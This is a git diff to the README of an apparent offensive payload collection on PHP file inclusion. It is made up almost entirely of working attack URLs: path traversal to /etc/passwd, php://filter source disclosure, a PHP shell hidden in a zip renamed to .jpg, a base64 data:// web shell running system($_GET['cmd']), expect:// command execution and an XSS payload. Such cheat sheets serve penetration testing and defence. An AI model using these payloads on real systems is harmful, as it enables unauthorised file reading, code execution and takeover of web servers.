diff --git a/PHP include/README.md b/PHP include/README.md index 092f8a96..43b07f80 100644 --- a/PHP include/README.md +++ b/PHP include/README.md @@ -12,26 +12,37 @@ http://example.com/index.php?page=%252e%252e%252f http://example.com/index.php?page=....//....//etc/passwd ``` + LFI Wrapper rot13 and base64 - php://filter case insensitive ``` http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php -http://example.com/index.php?page=php=pHp://FilTer/convert.base64-encode/resource=index.php +http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php + +can be chained with a compression wrapper +http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` -LFI Wrapper zip + +LFI Wrapper ZIP ```python os.system("echo \"\" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php") - + http://example.com/index.php?page=zip://shell.jpg%23payload.php ``` -RFI Wrapper with "" payload +RFI Wrapper DATA with "" payload ``` http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= ``` +RFI Wrapper EXPECT +``` +http://example.com/index.php?page=php:expect://id +http://example.com/index.php?page=php:expect://ls +``` + XSS via RFI/LFI with "<svg onload=alert(1)>" payload @@ -40,4 +51,4 @@ http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbm ``` ## Thanks to -* https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion \ No newline at end of file +* https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion